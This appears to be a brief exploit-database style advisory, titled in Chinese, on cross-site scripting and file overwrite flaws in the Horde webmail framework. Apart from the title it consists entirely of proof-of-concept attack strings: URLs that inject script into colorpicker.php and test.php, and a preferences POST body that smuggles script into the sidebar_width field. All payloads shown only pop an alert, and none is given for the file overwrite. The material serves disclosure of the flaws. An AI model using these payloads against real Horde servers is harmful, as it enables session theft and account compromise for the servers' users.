Horde跨站脚本和文件覆盖漏洞

http://hordeserver.com/horde/services/images/colorpicker.php?form=//--><script>alert('XSS')</script> https://hordeserver.com/horde/services/images/colorpicker.php?form=prefs&target=color"];%0d}%0dalert('XSS');%0dfunction%20juice()%20{%0dparent.opener.document.prefs[" https://hordeserver.com/horde/test.php?mode=extensions&ext=<script>alert('XSS')</script> actionID=update_prefs&group=display&app=horde&initial_application=horde&theme=azur&summary_refresh_time=0&show_sidebar=on&sidebar_width=1337//-->%0d%<script>alert('XSS')</script>//&menu_view=text&menu_refresh_time=0&widget_accesskey=on